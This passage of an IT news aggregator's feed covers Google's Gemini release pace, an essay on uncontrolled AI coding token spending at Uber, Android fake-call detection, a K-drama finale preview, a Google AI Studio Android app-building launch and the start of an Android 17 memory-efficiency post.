<p class="wp-block-paragraph">“We are creating a baseline on top of which you will see us rapidly iterate on subsequent model releases. And so picking up pace and releasing models almost at a monthly cadence is part of our road map as we are building Gemini 4 as well,” Pichai said during the <a href="https://www.youtube.com/watch?v=LzExSq9DU9w" target="_blank" rel="noreferrer noopener">call</a>.</p>



<p class="wp-block-paragraph">Sandler’s question followed one from JPMorgan Chase &amp; Co analyst <a href="https://www.linkedin.com/in/douglas-anmuth-9229621/" target="_blank" rel="noreferrer noopener">Douglas Anmuth</a>, who asked Pichai if Google was releasing frontier AI models frequently enough to keep pace with rivals OpenAI and Anthropic.</p>



<p class="wp-block-paragraph">Pichai had responded to Anmuth’s question that Google remained confident of competing at the frontier and was investing heavily in a larger Gemini 4 base model.</p>



<p class="wp-block-paragraph">Analysts, though, aren’t as confident as Pichai.</p>



<p class="wp-block-paragraph">While delays to Google’s frontier model roadmap have not triggered an exodus of existing customers, either because of high switching costs or because many enterprises already running multi-model architectures, they have made CIOs evaluating AI platforms more cautious about making new commitments, said <a href="https://www.linkedin.com/in/bhupendrachopra" target="_blank" rel="noreferrer noopener">Bhupendra Chopra</a>, chief revenue officer at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">A monthly model release cadence could prove to be a double-edged sword for enterprises and their CIOs.</p>



<p class="wp-block-paragraph">While a monthly release cadence could help enterprises gain faster access to improvements in model performance, cost and capabilities, it will also require CIOs to invest more heavily in testing, governance and version management to safely adopt those updates, said <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research.</p>



<p class="wp-block-paragraph">Similarly, <a href="https://pareekh.com/about/" target="_blank" rel="noreferrer noopener">Pareekh Jain</a>, principal analyst at Pareekh Consulting, said enterprises will embrace a faster release cadence only if each successive model delivers measurable improvements in performance, cost or safety, rather than simply changing version number.</p>



<p class="wp-block-paragraph">The challenge for CIOs, Jain said, is not just keeping up with model releases; it’s deciding whether each new version is worth the cost of validating it.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.infoworld.com/article/4200818/google-ceo-distracts-from-gemini-3-5-pro-delay-with-talk-of-gemini-4-and-monthly-releases.html">InfoWorld</a>.</em></p>
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<title><![CDATA[Getting a grip on shadow tokens and AI blowouts]]></title>
<description><![CDATA[Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and a clear case study in how limited oversight snowbal...]]></description>
<link>https://tsecurity.de/de/3694389/it-security-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694389/it-security-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and <a href="https://www.forbes.com/sites/janakirammsv/2026/05/17/uber-burns-its-2026-ai-budget-in-four-months-on-claude-code/">a clear case study</a> in how limited oversight snowballs into an AI blowout.</p>



<p class="wp-block-paragraph">This is a phenomenon I like to call “shadow tokens” — AI credits paid for by the company but largely invisible to decision-makers. Too many engineers have the final say over how much they consume and, therefore, what it costs. This all-you-can-eat attitude is part of the reason why <a href="https://www.theverge.com/tech/930447/microsoft-claude-code-discontinued-notepad">Microsoft is reportedly</a> winding down many internal licenses across key engineering teams and why <a href="https://www.thestreet.com/investing/the-next-phase-of-ai-spending-is-already-underway">one in five organizations</a> is missing its AI spend forecast by more than 50%.</p>



<p class="wp-block-paragraph">And the trend is only accelerating. By 2028, <a href="https://www.cio.com/article/4189149/ai-coding-token-costs-are-on-track-to-rival-human-payroll.html">Gartner predicts</a> that AI coding costs (driven by this kind of ungoverned consumption) will be as much per developer as the salary companies pay that person.</p>



<p class="wp-block-paragraph">LLMs and agents introduce a new class of variable cost that scales with behavior rather than headcount, putting enterprises on the hook for tools that balloon with workload. I don’t see this as enterprises overspending because they’re reckless — it’s down to a lack of managerial oversight, budget alignment that demands a proven return on investment, and engineer education on how much is too much.</p>



<p class="wp-block-paragraph">Going forward, CIOs need to thread the AI needle between governance that encourages transparency and reasonable spend without stifling innovation.</p>



<h2 class="wp-block-heading">When shadow tokens result in real costs</h2>



<p class="wp-block-paragraph">The issue is that AI isn’t a traditional line item. Previously, enterprise leaders onboarded software-as-a-service (SaaS) with a good idea of the total cost. An allocated software seat or annual contract was a known quantity. The cloud added some variation (with fluctuations depending on hosting size), but instances were still modelable. AI flips this status quo on its head — the unit of consumption is behavior and the cost is exponential.</p>



<p class="wp-block-paragraph">And these specifics aren’t immediately apparent at pilot. Tools can appear inexpensive in controlled experiments yet unpredictably scale depending on session length, context window size, model selection and whether agents run in parallel. This is the fallacy of the $20-per-seat enterprise plan — tokens are charged separately at API rates with no ceiling. The final dollar value of any session is set by factors that finance can’t always model in advance, particularly when these decisions usually rest with the engineers themselves.</p>



<p class="wp-block-paragraph">According to <a href="https://www.deloitte.com/cz-sk/en/services/consulting/research/the-state-of-ai-in-the-enterprise.html">Deloitte</a>, only 21% of organizations deploying agents have a mature governance model, a real concern because they’re token-eating machines. This is what was happening at Uber — Claude Code in agentic mode was autonomously reading codebases, planning changes across dozens of files and opening pull requests. Each step quickly adds up, with Anthropic’s own documentation noting that agents consume approximately seven times as many tokens as standard sessions.</p>



<p class="wp-block-paragraph">This is shadow IT and shadow AI, evolved. This time, however, many leaders approved the tool in question without guardrails governing consumption. AI hype adds fuel to the fire and normalizes long sessions. Uber’s CTO, for example, <a href="https://x.com/praveenTweets/status/2033627282418655711">described</a> a company-wide shift toward “agentic software engineering” with employees “who are quietly experimenting, quietly shipping and quietly pushing things forward”. This is an exciting way to test the limits of what’s possible, certainly, but it’s also a position that goes a long way to explaining how the company spent its annual AI budget by April.</p>



<h2 class="wp-block-heading">Shifting the culture from usage to yield</h2>



<p class="wp-block-paragraph">Engineers haven’t done anything wrong here. In fact, they’re adopting and experimenting as instructed, with Uber creating leaderboards and ranking users by token consumption. More use led to a better ranking, reflecting a culture that lauds new ways of doing things. This behavior is known as “<a href="https://www.cio.com/article/4178320/tokenmaxxing-when-ai-adoption-metrics-go-bad.html">tokenmaxxing</a>,” and its principal knock-on effect is shadow tokens — quantity-over-quality processes that leaders struggle to control until they’re fully realized in the budget. Of course, if management treats adoption metrics as performance metrics, then engineers can’t be blamed for using more tokens. The tension is that the teams driving adoption aren’t the ones managing spend.</p>



<p class="wp-block-paragraph">None of this is meant to dismiss AI’s productivity possibilities and potential return on investment. Developers save <a href="https://getdx.com/blog/ai-assisted-engineering-q4-impact-report-2025/">3.6 hours</a> per week, achieve 60% higher pull request throughput and cut onboarding time in half with automation. Meanwhile, Uber shared that roughly 11% of live backend updates were written by agents with no human in the loop. However, these wins aren’t the problem — it’s that too many teams aren’t connecting input to output. I’ve spoken to admins who discovered their token spend had tripled in a single quarter after using heavier models or accidentally doubling up on agentic applications. Nobody knew until the financial damage was done.</p>



<p class="wp-block-paragraph">Automation needs to happen sustainably with an eye on the bottom line. In my view, a much better metric for achieving this is AI yield — the measurable business or engineering output generated per dollar spent on tokens. Otherwise, without a feedback loop, even genuinely productive teams are flying blind.</p>



<h2 class="wp-block-heading">Stopping token waste before an AI blowout</h2>



<p class="wp-block-paragraph">Creating that throughline between AI investment and token consumption starts with established financial metrics. This is possible via maximum spend limits (dictated by spend tagging, workload tiering and cost-per-output benchmarks) per team or project. Then, any additional allocation requires approval, closing the loop between the engineers spending the tokens and the leaders paying for them. AI isn’t cheap and teams should demonstrate a bang for their buck.</p>



<p class="wp-block-paragraph">This is something we do with our engineering team at Hexnode. Resource allocation for Claude Code and Cursor is tied directly to ROI rather than letting consumption run open-ended. Given the pay-as-you-go nature of these tools, a firm usage limit per team offers simple but essential control.</p>



<p class="wp-block-paragraph">Similarly, there’s room to apply some of the governance principles IT uses for device management. Things like policy enforcement, role-based access, real-time monitoring and automated alerts can flag usage behavior in advance. Uncovering such insights at the token layer works to identify power users and prevent excessive spending.</p>



<p class="wp-block-paragraph">We also need to encourage cultures that praise outputs that actually achieve efficiency. AI applications that result in shipping faster, reducing rework and cutting review cycles are gains that should be celebrated. If your company hosts leaderboards, frame unnecessary token burn as wasteful rather than valuable. The organizations creating healthier consumption habits work with their engineers to understand not just how to use AI, but what responsible use looks like and what it costs.</p>



<p class="wp-block-paragraph">This is a conversation teams need to have now. Anthropic <a href="https://support.claude.com/en/articles/15036540-use-the-claude-agent-sdk-with-your-claude-plan">just ended flat-rate pricing</a> for programmatic workloads from June 15. Now, agents, continuous integration pipelines and automated workflows draw from a dedicated monthly credit pool billed separately from the subscription. Once that pool is exhausted, agent tasks either stop entirely or overflow to extra billing. Work can either get very expensive or grind to a halt for teams that aren’t prepared.</p>



<p class="wp-block-paragraph">Getting a grip on shadow tokens means better rules and tools connecting spend to outcomes. Only by building the financial and cultural infrastructure that encourages sustainable adoption can leaders see what they’re spending, connect it to what they’re getting and course-correct before the costs become a crisis. Ultimately, shadow tokens are only invisible if we choose not to look.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Android bekommt Schutz vor Fake Calls]]></title>
<description><![CDATA[Google schützt Android-Nutzer vor KI-Betrügern: Das neue Feature "Fake Call Detection" erkennt Anrufe Krimineller und warnt während des Gesprächs.]]></description>
<link>https://tsecurity.de/de/3694373/it-security-nachrichten/android-bekommt-schutz-vor-fake-calls/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694373/it-security-nachrichten/android-bekommt-schutz-vor-fake-calls/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:28 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Google schützt Android-Nutzer vor KI-Betrügern: Das neue Feature "Fake Call Detection" erkennt Anrufe Krimineller und warnt während des Gesprächs.]]></content:encoded>
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<title><![CDATA[One fallen power line exposed a growing AI data center problem. Here’s how to fix it.]]></title>
<description><![CDATA[A close call in Northern Virginia revealed just how poorly data centers respond to grid disruptions. Here's how to fix the problem.]]></description>
<link>https://tsecurity.de/de/3693934/it-nachrichten/one-fallen-power-line-exposed-a-growing-ai-data-center-problem-heres-how-to-fix-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693934/it-nachrichten/one-fallen-power-line-exposed-a-growing-ai-data-center-problem-heres-how-to-fix-it/</guid>
<pubDate>Sat, 25 Jul 2026 15:12:21 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A close call in Northern Virginia revealed just how poorly data centers respond to grid disruptions. Here's how to fix the problem.]]></content:encoded>
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<title><![CDATA[Agent Kim Reactivated Finale Preview: Will Agent Kim Fight His Closest Friends?]]></title>
<description><![CDATA[Agent Kim Reactivated Episode 10 will place Manager Kim and his closest allies inside their most personal and dangerous battle yet. With their children being used as hostages, the three fathers must find a way to defeat Ju Gang-chan without turning against each other.




Release date: July 25, 2...]]></description>
<link>https://tsecurity.de/de/3693923/ios-mac-os/agent-kim-reactivated-finale-preview-will-agent-kim-fight-his-closest-friends/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693923/ios-mac-os/agent-kim-reactivated-finale-preview-will-agent-kim-fight-his-closest-friends/</guid>
<pubDate>Sat, 25 Jul 2026 14:45:18 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Agent Kim Reactivated Episode 10 will place Manager Kim and his closest allies inside their most personal and dangerous battle yet. With their children being used as hostages, the three fathers must find a way to defeat Ju Gang-chan without turning against each other.




Release date: July 25, 2026



Release time: 9:45 p.m. KST on SBS




Spoiler warning for Episode 9



Episode 9 followed Manager Kim, Seong Han-su and Park Jin-cheol as they entered another heavily guarded location and fought through Gang-chan’s men. Han-su and Jin-cheol handled several attackers together, while Manager Kim used his old operational skills to clear the remaining guards.



However, Gang-chan had already prepared a cruel backup plan. He arranged the kidnapping of Han-su and Jin-cheol’s children, giving him complete control over the fathers before the final confrontation.



The story began with Manager Kim leaving his secret past behind and raising his daughter Min-ji as an ordinary single father. Her disappearance forced him to reactivate his black-ops skills and reconnect with former operatives Han-su and Jin-cheol. Since then, each man’s family has become connected to Manager Kim’s unfinished conflicts.



Will the three agents fight each other?



The Episode 10 preview suggests that Gang-chan will force the three men into a cage and demand that Han-su and Jin-cheol kill Manager Kim. Their children’s survival appears to depend on whether they follow his instructions.



This creates a painful choice for both fathers. Manager Kim previously risked everything to protect their families, but Han-su and Jin-cheol cannot ignore an immediate threat against their children.



Still, the three agents know each other’s abilities well. Their apparent conflict could become part of a plan to distract Gang-chan, escape the cage and reach the hostages before his men can act.



Will all the families survive?



The finale’s official description says the three men become enemies while trying to protect the people they love. This confirms that every family will remain in danger until the final moments.



Manager Kim will likely take the greatest risk because he understands Gang-chan’s methods and refuses to let another child suffer because of his past. Min-ji could also play an important role, especially after repeatedly showing courage during earlier threats.



Episode 10 should end the conflict between Manager Kim and Gang-chan while revealing whether the three fathers can save every hostage. Do you think all the agent families will survive the finale? Let us know in the comments.]]></content:encoded>
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<title><![CDATA[Build native Android apps in Google AI Studio]]></title>
<description><![CDATA[Posted by Emma-Louise Leavey, Group Product Manager and Mike Taylor-Cai, Product Manager

    Starting today Google AI Studio can build entire Android apps for you in minutes from just a prompt. You don't need to install any software or configure any libraries, which significantly lowers the barr...]]></description>
<link>https://tsecurity.de/de/3693512/android-tipps/build-native-android-apps-in-google-ai-studio/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693512/android-tipps/build-native-android-apps-in-google-ai-studio/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:46 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjd6QUmqCnkvDT9M0IoWA6y_752MRk01nHVQOa644yYkgoMGMDk8Dy6ow6X4SqFzzODP-a1kRaNcuF-1ZyR_lk5fTfdbuEMKDvuX4s7LFaGNuMswzvMCFoYeaQ3RLf2OZPYUWN5BsnqRIsmDub85hpYZNGY7AsaHCsHlfkxLqfqm0PozMhkyqK4i6WfgGM/s2048/GoogleForDevelopers-AndroidCombo2-StrapiMetacard-2048x1323.png">


<div><div class="separator"><i>Posted by Emma-Louise Leavey, Group Product Manager and Mike Taylor-Cai, Product Manager</i></div></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVwPsGVUMbwR9wQP6ABNBXOWboTfwBPXTg-WwhpVo-nJsWJkXeFMUdU5lPsXYc6jh4bnFwI03EG8fIYgmwEkU8hUKHNgSfSYpDLzUgEX1kGLGoTXXfzqcIsh6ZVOHLcripkRitSymdVGwC0Hnwm1H6S-LdsKXLdkefuPp5mtBWC5H1ACTICDI_fNqsdoc/s4209/GoogleForDevelopers-AndroidCombo2-Blogger-4209x1253.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVwPsGVUMbwR9wQP6ABNBXOWboTfwBPXTg-WwhpVo-nJsWJkXeFMUdU5lPsXYc6jh4bnFwI03EG8fIYgmwEkU8hUKHNgSfSYpDLzUgEX1kGLGoTXXfzqcIsh6ZVOHLcripkRitSymdVGwC0Hnwm1H6S-LdsKXLdkefuPp5mtBWC5H1ACTICDI_fNqsdoc/s16000/GoogleForDevelopers-AndroidCombo2-Blogger-4209x1253.png"></a></div><br><div><br></div>

    Starting today <a href="https://ai.dev/apps?features=build_android_app">Google AI Studio</a> can build entire Android apps for you in minutes from just a prompt. You don't need to install any software or configure any libraries, which significantly lowers the barrier to development. Whether you’re a seasoned developer looking to prototype at lightning speed or a creator building your first-ever mobile experience, you can now go from a single prompt to a high-quality, Kotlin-based Android app in AI Studio. You can easily install the app on your device, share it with others for testing, or send it to Android Studio for any further development.</div><div><h2>The power of native Android</h2>While AI has made it easy to generate web-based apps, people want more on their mobile devices. They expect the beautiful and usable modern app design and capabilities that come with native Android user experiences, built with the Kotlin programming language using Jetpack Compose, the official and recommended toolkit for Android development. Native Android apps bring the reliability of offline support, continuous background services, and the deep integration of hardware sensors like GPS, Bluetooth, and NFC. We've brought the technology that enables you to <a href="https://developer.android.com/studio/gemini/create-a-new-project-with-ai">quickly create new projects with Gemini in Android Studio</a> directly into the web-based AI Studio. Now, you get the best of both worlds: the ease of a prompt-based interface paired with the power of the Android SDK, all in your browser, no installation required.<br><h2><span>A seamless, end-to-end workflow</span></h2>
    We have streamlined the entire development lifecycle so you can focus on your idea: </div><div><b><br></b></div><div><b>1. Create your app and iterate in the cloud:</b> Use the embedded Android Emulator directly in your browser to preview and interact with your app as it’s being built. No heavy SDKs to download, no local setup required.</div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWOTqLBbAXBibOw5wN_-49Q21RuGxwPjhQESK5r3KctKIPz1uV4dg0_LiK0w6xxdvbLECzMHzQk-kQO9h1VdflTPKi3wM9sKrwZvLcPbtISBnL2H4acnG8gpEuPtbxpDHexKi4S8Eg_hcQv1_dZOCh78pFGi27aiWHMYZc1gsDA_Iq7SRbVRUkHhngrgw/w640-h544/AI_Studio_creation_step_v2.gif"></div><i><div><i>Use the embedded Android Emulator to create and edit Android Apps right in the web browser</i></div></i><div><br></div><b>2.</b> <b>Install instantly: </b>Connect your Android phone using a USB cable and install your app directly from AI Studio using the integrated Android Debug Bridge (adb).</div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHMqfor305bPNhs_X2ahAxG8QmtpxtLKPrq44Uh4q1OpdsZyDlAuIyKJJDk-2v75-ErSLNp8yCyHQZn-6IQ-mkz8mfedEFtEJuD6VILIhtt8ypGpXmRuqM9LoJDDNnn-xrX3_Cr2MRUUcaEhVpJgCsjrjz-kwHHQeIhq8celQjg5Rt5_S5-j-_eSYpYaU/w640-h544/AI_Studio_Install_v2.gif"></div><div><i>Install the app on your Android device</i></div><div><br></div><b>3. Streamlined Publish to Google Play: </b>Using your <a href="https://play.google.com/console/signup">Google Play developer account</a>, you can now publish your app directly from AI Studio for testing. AI Studio will automatically create your app record, package the bundle, and upload it to an internal testing track in Google Play Developer Console. Your app is available for you to install within minutes, and you can automatically update your app on your device as you develop it further in AI Studio. </div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqGamXSrq6MNtz-PUt17netBXi_JiOMVERsoYV2mEArG8x5f-zCbU8WwTTaClpruCTsN4o3xeyMylDJLaWe0yCteqZJghc6sEXLYwoLPbTtnoa7761JVR_XEbm2Fj20IX142L2mGzU39vuNwLVVw0bDiSwICFelQZhxO63sG9N3GCo8Xx8wHY6gPEDj8c/w640-h544/AI_Studio_Play_v3.gif"></div><div class="separator"><i>Publish the app to an internal test track in Google Play</i></div>

    <br><div><b>Seamless app development handoff </b></div><div>As you iterate on your app in AI Studio, you may find you need more advanced Android tools or support for a wider variety of Android device types. To move beyond the browser, you can seamlessly hand off your project to <a href="https://developer.android.com/studio">Android Studio</a> by downloading a ZIP file or exporting it directly to GitHub.</div><div><br></div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNTwSv8o6QwB9QYZS_OezD7WhWQZiShTEu5aJz6_oGUfOu-2RQWmANs0jgeC1G1jrsZauVbeWzLHkjoZa_Ai_cjKvgbB_-Qzqh8-obzcNf9zKTJSG4AfvXTogb0xsCxcHRS4P-LHFKk1pm8sTdDjIn8A5b9vX8GRRvHrCvN9_xoPm6hPzN1rct5Aph3Zc/w640-h206/AI_Studio_Download.png"></div><div><span><i>Download zip file of Android app project files</i></span></div><div><span><i><br></i></span></div>When transitioning to a team environment or local development, you can leverage any IDE or agent you prefer. For a specialized experience, we recommend <a href="https://developer.android.com/gemini-in-android">Gemini in Android Studio</a>, which features models designed with Android in mind, or Antigravity, which integrates <a href="https://developer.android.com/tools/agents/android-cli">Android CLI</a> commands into Google’s agentic development platform. This workflow makes building high-quality apps more accessible while giving you total flexibility in how you use AI to scale your project.</div><div><h2>Start building today</h2><div>To ensure a safe, high-quality ecosystem from day one, we have focused our initial release on specific capabilities including:</div><div><ul><li><b>Personal utilities and simple social apps: </b>You can rapidly prototype single or multi-screen apps, such as habit trackers, study quizzes, or event itineraries.</li><li><b>Hardware-enabled experiences:</b> Because you are building native apps, you can leverage device features like the Camera, GPS/Location, Accelerometer and Bluetooth using the native Android APIs, letting you optimize hardware-level performance.</li><li><b>AI-powered experiences: </b>You can create apps that feature Gemini API integrations, seamlessly embedding powerful AI capabilities directly into your mobile experience.</li></ul></div><h2><span>What’s Next?</span></h2>
    <div>We are moving fast to expand what’s possible for creators in AI Studio. Here is a sneak peek at what is coming soon:</div><div><ul><li><b>Managing Google Play Test Tracks: </b>Coming soon, we will be adding the ability to invite testers to try your app directly from AI Studio. </li><li><b>Firebase integrations: </b>Out-of-the-box support for Firestore, Firebase Auth, Firebase App Check and other tooling critical for Android developers is coming soon.</li></ul></div><div><br></div><div>Head over to <a href="https://ai.dev/apps?features=build_android_app">Google AI Studio</a> right now to start building. Here is some inspiration to get you started… </div><div><br></div><table border="1">
        <tbody><tr>
            <td colspan="2">Turn your Google Pixel Watch into an aviation assistant</td>
        </tr>
        <tr>
            <td>
                <strong>Prompt:</strong><br>
                <div>Build a small airplane "6-pack" instrument app for Google Pixel Watch. The 6 instruments should include attitude indicator, airspeed indicator, altimeter, turn coordinator, vertical speed indicator, and heading indicator. Use the Google Pixel Watch's sensors to power the instruments and display them clearly. Display one instrument at a time on the display. Swiping to the left or right should cycle through the instruments.</div>
            </td>
            <td><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRi7_vRI0TgaUYUE-g6kX-Gbg5Vf8ZVNY0H5n-2p8Ml32hyphenhyphenFvWAjp5re6AWpFKHLv1-rokBy_qfXexN61uQ9bpeDE_1DKfTrY3CkepiZMkNIEC5UlvBYng_OqersnyVS5Nu_zCuJJQ2w4NBaxWDC8duVnC0ILvWEpeg49N7aoJh1z6o_-BJHfBCnZKpz0/s320/wearOS_ai_studio.gif"></div><br></td>
        </tr>
    </tbody></table>

    <br><table border="1">
        <tbody><tr>
            <td colspan="2">Interactive Harmonium app on Google Pixel Fold</td>
        </tr>
        <tr>
            <td>
                <strong>Prompt:</strong><br>
                <div>Build a Harmonium app for Pixel Fold devices, which plays like the instrument based on the hinge angle and touch gestures. The app should simulate the bellows and reeds accurately.</div>
            </td>
            <td><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8hUGuJaj76omAAgO2RqZKZ_qGvgThfE0tKA-99BJ82G2UOw8h1qT5H7sM5C7n_k2tN5CD0LpJyOFor3HefsKarRPmWTo35ltnDihv2MsddEUcZN5t5fgeJWuJ60Y3XCEqqLhd7gkGyAbM6vnGau0PLE8BohPat8lQ-63fQLudrFUVRVpkFUJ9wMFX1oc/w179-h200/Tiny%20Harmonica%20demo.gif"></div></td>
        </tr>
    </tbody></table>

    <br><table border="1">
        <tbody><tr>
            <td colspan="2">An Android app for guitarists to become better musicians by jamming to backing tracks </td>
        </tr>
        <tr>
            <td>
                <strong>Prompt:</strong><br>
                <div><div><span>Build an Android guitar practice companion app that features a two-tab navigation system: 'Fretboard' and 'Library'.</span></div><div><span><br></span></div><div><span>The 'Fretboard' primary screen must contain an interactive guitar neck UI that visually maps out user-selected root notes, musical scales, and chords. Above the fretboard, implement a WebView-based YouTube player configured to play embedded videos inline. Additionally, include an AI generation feature that uses Retrofit to call Gemini Lyria 3 to create custom, 30-second backing tracks based on the user's currently selected key and scale. The generated audio files and their metadata must be saved locally using a database and displayed as a list in the 'Library' tab, where users can delete or play them.</span></div><div><span><br></span></div><div><span>Finally, implement a persistent, globally visible mini audio player at the bottom of the screen, complete with play/pause toggles, a progress slider for seeking, and timestamp text, allowing the user to seamlessly practice on the fretboard tab while listening to their tracks.</span></div><div><br></div></div>
            </td>
            <td><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2pWobL4G7-4deWwvMpRmtfHG1OuXyc_bHwq6fPszYT1Vztm4g_HaN28PVg6Hwd3_N2Qd82HS1QtpUGKCTUFiCuLBwMpcA-8sMC6dJtSDGKEVAaV1kxumYMZi3kTB9NnUIEf9xQPKyyfvKb8MZUyNGnYNAEHTxyHpWCEvN2xgQsj5X09LW_FHU1n0aJQg/w221-h400/guitar_app_AI_Studio.gif"></div></td>
        </tr>
    </tbody></table>

    We are looking forward to seeing what you build next!</div><div><br></div><div>Explore this announcement and all Google I/O 2026 updates on <a href="https://io.google/2026/?utm_source=blogpost&amp;utm_medium=pr&amp;utm_campaign=devblogs&amp;utm_content=">io.google</a>.</div>]]></content:encoded>
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<title><![CDATA[Prioritizing Memory Efficiency: Essential Steps for Android 17]]></title>
<description><![CDATA[Posted by Alice Yuan, Developer Relations Engineer, Ajesh Pai, Developer Relations Engineer, and Fung Lam, Developer Relations Engineer



    
        
    



    While app performance is often equated with a smooth UI and fast start times, memory serves as the silent foundation upon which thes...]]></description>
<link>https://tsecurity.de/de/3693508/android-tipps/prioritizing-memory-efficiency-essential-steps-for-android-17/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693508/android-tipps/prioritizing-memory-efficiency-essential-steps-for-android-17/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:41 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCIAoJpwUITPS5C3_eTksMsaslwqPk7SIEQHkwEkGv8572ccdIKcdv6kNC1BOSJPAZTgX5m3liMMv4zdK58e5dWRhUfo39uas23LuhEWf13TFnDTdw-Z5mWn4JarSnC8yCET8Sw15zSF-jQ5zwALriacGK6IjAGxNg61sFtSxzndjvqXxZtJt4qxuzd9A/s2048/Engineering-Memory-Blog-Meta-3.png">

<div class="separator">
    <em>Posted by Alice Yuan, Developer Relations Engineer, Ajesh Pai, Developer Relations Engineer, and Fung Lam, Developer Relations Engineer</em>
</div>

<div class="separator">
    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhanYZz4QpaDuwP7y_ZVGCUh6TpdQxS65pBcYr-Qkawd9YFS587tnIUPnqDROlxIXzgdz6GGxluR3LzH8ZabQPWz382FDEOEDpK3GxUFywn0A54JXFtUwDPaeI0JnFhEl-6NRrcjKeFPMLozNQv_An9OcWEUA-rmXfOhWvIKRrptdblGEZHERD0P-ynFcc/s4209/Engineering-Memory-Blog-3.png">
        <img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhanYZz4QpaDuwP7y_ZVGCUh6TpdQxS65pBcYr-Qkawd9YFS587tnIUPnqDROlxIXzgdz6GGxluR3LzH8ZabQPWz382FDEOEDpK3GxUFywn0A54JXFtUwDPaeI0JnFhEl-6NRrcjKeFPMLozNQv_An9OcWEUA-rmXfOhWvIKRrptdblGEZHERD0P-ynFcc/s16000/Engineering-Memory-Blog-3.png">
    </a>
</div>

<p>
    While app performance is often equated with a smooth UI and fast start times, memory serves as the silent foundation upon which these visible metrics are built. It's no secret that we're seeing a shift where device memory is more important than ever. Not only have we made strides in Android memory optimizations with Android 17, we're providing the tooling and API support to help you stay ahead of stricter memory requirements later this year.
</p>

<p>
    To ensure device stability, starting in Android 17, the system will begin enforcing app memory limits based on the device's total RAM. If an app exceeds those limits, Android will kill the process with no associated stack trace.
</p>

<div>
    Beyond these forced terminations, unoptimized memory usage inevitably degrades the user experience. When the app approaches heap memory limits, it triggers frequent garbage collection—leading to noticeable UI stutters. Furthermore, when a device runs out of available memory, the system scrambles to reclaim pages, causing CPU strain, UI latency, and battery drain. If the memory shortage is too severe, it can cause Low Memory Killer (LMK) events that abruptly terminate background processes and force apps to have slow cold starts and lose user state.
</div>

<div>
    <p>To build highly performant apps and avoid these forced terminations, we recommend that you adopt the following memory optimization strategies:</p>
    <ol>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Maximize">Maximize bytecode optimization with R8</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Optimize">Optimize image loading</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Detect">Detect and fix memory leaks with Android Studio</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Trim">Trim memory when app leaves visible state</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Advanced">Advanced memory observability with ProfilingManager</a></li>
    </ol>
</div>
<br>
<div>
    <div class="separator">
        
    </div>
    <div>
        <em>A condensed version of this blog post is also available in video format, go check it out!</em>
    </div>
    
    <h3>Understanding Android 17 app memory limits</h3>
